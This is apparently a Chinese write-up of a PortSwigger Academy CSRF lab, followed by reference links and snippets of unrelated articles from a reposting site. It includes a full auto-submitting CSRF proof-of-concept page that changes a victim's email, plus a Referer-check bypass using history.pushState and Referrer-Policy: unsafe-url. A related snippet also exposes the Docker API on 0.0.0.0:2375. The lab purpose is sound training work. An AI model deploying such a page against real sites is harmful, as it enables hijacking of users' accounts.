更改漏洞利用中的电子邮件地址,使其与您自己的电子邮件地址不匹配。
存储漏洞,然后单击“交付给受害者”以解决实验室问题。

在这里插入图片描述

发送请求到BP repeater。如果更改Referer HTTP头中的域,则请求将被拒绝

 复制实验实例的原始域,并将其以查询字符串的形式附加到Referer头中

Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.net

我的是:
Referer: https://arbitrary-incorrect-domain.net?0a7a001f0362b892808edae400210029.web-security-academy.net

在这里插入图片描述
生成相关的poc:
在这里插入图片描述
并将其托管在攻击服务器上。编辑JavaScript,使history.pushState()函数的第三个参数包含一个查询字符串,其中包含实验室实例URL,如下所示:

history.pushState(“”, “”, “/?YOUR-LAB-ID.web-security-academy.net”)

我的是:
history.pushState(“”, “”, “/?https://0a7a001f0362b892808edae400210029.web-security-academy.net”)

最终poc:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a7a001f0362b892808edae400210029.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="bbbaaa&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState("", "", "/?https://0a7a001f0362b892808edae400210029.web-security-academy.net");
      document.forms[0].submit();
    </script>
  </body>
</html>

如果存储该利用漏洞攻击并通过单击"查看利用漏洞攻击"进行测试,则可能会再次遇到"invalid Referer header"错误。这是因为作为一种安全措施,许多浏览器现在默认从Referer头中剥离查询字符串。要覆盖此行为并确保请求中包含完整的URL,请返回利用漏洞攻击服务器并将以下标题添

加到"Head"部分:
Referrer-Policy: unsafe-url
(注意,与普通的Referer头不同)
在这里插入图片描述
在这里插入图片描述

参考:

### CSRF(跨站请求伪造)与Cookie的SameSite属性
https://blog.csdn.net/weixin_50464560/article/details/119579825
### portswigger官方csrf:
https://portswigger.net/web-security/csrf
### 【Burp系列】超全CSRF请求伪造漏洞实验总结
https://mp.weixin.qq.com/s/J9bAu98qATpnhoONT4fUkw
### owasp跨站请求伪造:
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery
### PayloadsAllTheThings:CSRF
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/348858.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Python】采用OpenCV和Flask来进行网络图像推流的低延迟高刷FPS方法(项目模板)

【Python】采用OpenCV和Flask来进行网络图像推流的低延迟高刷FPS方法&#xff08;项目模板&#xff09; gitee项目模板&#xff1a; 网络图像推流项目模板&#xff08;采用OpenCV和Flask来进行网络图像推流的低延迟高刷FPS方法&#xff09; 前文&#xff1a; 【最简改进】基于…

短剧小程序开发:打造全新用户体验

随着移动互联网的普及&#xff0c;小程序作为一种轻量级的应用程序形式&#xff0c;已经成为了现代人生活中不可或缺的一部分。短剧小程序作为其中的一种&#xff0c;更是以其独特的魅力&#xff0c;吸引了大量用户。本文将探讨短剧小程序的发展背景、优势、开发流程和未来趋势…

【java面试】常见问题(超详细)

目录 一、java常见问题JDK和JRE的区别是什么&#xff1f;Java中的String类是可变的还是不可变的&#xff1f;Java中的equals方法和hashCode方法有什么关系&#xff1f;Java中什么是重载【Overloading】&#xff1f;什么是覆盖【Overriding】&#xff1f;它们有什么区别&#xf…

Beego之Beego MVC架构介绍

1、beego MVC架构介绍 beego 是一个典型的 MVC 框架&#xff0c;它的整个执行逻辑如下图所示&#xff1a; 通过文字来描述如下&#xff1a; 1、在监听的端口接收数据&#xff0c;默认监听在 8080 端口。 2、用户请求到达 8080 端口之后进入 beego 的处理逻辑。 3、初始化 C…

【每日一题】4.LeetCode——杨辉三角

&#x1f4da;博客主页&#xff1a;爱敲代码的小杨. ✨专栏&#xff1a;《Java SE语法》 ❤️感谢大家点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb;&#xff0c;您的三连就是我持续更新的动力❤️ &#x1f64f;小杨水平有限&#xff0c;欢迎各位大佬指点&…

idea连接docker

idea 插件无法连接docker问题 原文&#xff1a;idea 插件无法连接docker问题 // 修改docker配置 vi /usr/lib/systemd/system/docker.service // 加上该段配置允许任何ip访问 -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock // 重启docker即可 systemctl restart dock…

图像处理------调整色调

什么是色调&#xff1f; 色调&#xff0c;在画面上表现思想、感情所使用的色彩和色彩的浓淡。分为暖色调和冷色调。 from cv2 import destroyAllWindows, imread, imshow, waitKey#创建棕褐色色调 def make_sepia(img, factor: int):pixel_h, pixel_v img.shape[0], img.shap…

OSPF协议解析及相关技术探索(C/C++代码实现)

OSPF&#xff08;开放最短路径优先&#xff09;是一种用于自治系统&#xff08;AS&#xff09;内部的路由协议&#xff0c;它是基于链路状态算法的。OSPF的设计目的是为了提供一种可扩展、快速收敛和高效的路由解决方案。 OSPF概念和特点 概念 自治系统&#xff08;AS&#…

二叉树的最大深度[简单]

优质博文&#xff1a;IT-BLOG-CN 一、题目 给定一个二叉树root&#xff0c;返回其最大深度。 二叉树的最大深度是指从根节点到最远叶子节点的最长路径上的节点数。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;3 示例 2&#xff1a…

高水平 ICT 实验实训平台建设

一、平台建设概述 1.1 人工智能仿真实验实训平台 建设高水平 ICT 实验实训平台–人工智能仿真实验实训平台&#xff0c;是为了提供学生在人工智能领域深入学习和实践的机会。承载《人工智能基础》《人工智能应用》《移动机器人技术应用》《视觉开源机器人》《深度学习与神经网…

C. Doremy‘s City Construction(二分图问题)

思路&#xff1a;把集合划分成两部分,一部分中每个数都比另一部分小,这两部分连成一个完全二分图,这种情况是最优的,还需要特判所有数都相等的情况. 代码&#xff1a; void solve(){int n;cin >> n;vector<int>a(n 1);for(int i 1;i < n;i )cin >> a[…

RK3399平台开发系列讲解(PCIE篇)PCIE 配置过程

🚀返回专栏总目录 文章目录 一、硬件拓扑结构二、配置过程演示沉淀、分享、成长,让自己和他人都能有所收获!😄 一、硬件拓扑结构 以下图中的设备的配置过程为例,给大家做示范。 二、配置过程演示 下文中BDF表示Bus,Device,Function,用这三个数值来表示设备。 软件设置…

上海亚商投顾:沪指涨超3%收复2900点 多只中字头股涨停

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 一.市场情绪 沪指昨日放量反弹&#xff0c;尾盘一度涨超3%&#xff0c;收复2900点关口&#xff0c;深成指涨2%&#xff0c;…

解决Windows系统本地端口被占用

目录 一、被程序占用端口 1.通过终端杀掉占用端口的进程 2.任务管理器 二、被系统列为保留端口 前言&#xff1a; 首先了解为什么会出现端口被占用的情况 端口被占用的情况可能出现的原因有很多&#xff0c;主要有以下几点&#xff1a; 1.多个应用程序同时启动&…

【STM32】STM32学习笔记-硬件SPI读写W25Q64(40)

00. 目录 文章目录 00. 目录01. SPI简介02. W25Q64简介03. SPI相关API3.1 SPI_Init3.2 SPI_Cmd3.3 SPI_I2S_SendData3.4 SPI_I2S_ReceiveData3.5 SPI_I2S_GetFlagStatus3.6 SPI_I2S_ClearFlag3.7 SPI_InitTypeDef 04. 硬件SPI读写W25Q64接线图05. 硬件SPI读写W25Q64示例06. 程序…

FPGA高端项目:Xilinx Artix7系列FPGA多路视频拼接 工程解决方案 提供4套工程源码和技术支持

目录 1、前言版本更新说明给读者的一封信FPGA就业高端项目培训计划免责声明 2、相关方案推荐我已有的FPGA视频拼接叠加融合方案本方案在Xilinx Kintex7 系列FPGA上的应用本方案在Xilinx Zynq7000系列FPGA上的应用 3、设计思路框架视频源选择ov5640 i2c配置及采集动态彩条多路视…

【VSAN数据恢复】VSAN数据重构迁移失败的数据恢复案例

VSAN简介&#xff1a; VSAN存储是一个对象存储&#xff0c;以文件系统呈现给在vSphere主机上。这个对象存储服务会从VSAN集群中的每台主机上加载卷&#xff0c;将卷展现为单一的、在所有节点上都可见的分布式共享数据存储。 对于虚拟机来说&#xff0c;只有一个数据存储&#x…

cg插画设计行业怎么样,如何学习插画设计

插画设计行业是一个充满创意和艺术性的行业&#xff0c;随着数字化时代的不断发展&#xff0c;cg插画的应用范围越来越广泛&#xff0c;市场需求也在逐年增长。以下是一些关于acg插画设计行业的现状和发展趋势&#xff1a; 市场需求不断增长&#xff1a;随着广告、媒体、影视、…

使用Apache POI 创建和读取excel表

目录 1. Apache POI 中文使用手册 1.1 Apache POI 项目介绍 1.2 处理组件 1.2.1 Excel 文件处理组件 1.2.2 Word 文件处理组件 1.2.3 PPT 文件处理组件 1.2.4 文档属性组件 1.2.5 Visio 文件处理组件 1.2.6 Microsoft Publisher 98&#xff08;-2007&#xff09;文件处…

HMI-Board以太网数据监视器(二)MQTT和LVGL

E ∫ d E ∫ k d q r 2 k L ∫ d q r 2 E \int dE \int \frac{kdq}{r^2} \frac{k}{L} \int \frac{dq}{r^2} E∫dE∫r2kdq​Lk​∫r2dq​ E Q 2 π ϵ L 2 E \frac{Q}{2\pi\epsilon L^2} E2πϵL2Q​ Γ ( n ) ( n − 1 ) ! ∀ n ∈ N \Gamma(n) (n-1)!\quad\forall n…
最新文章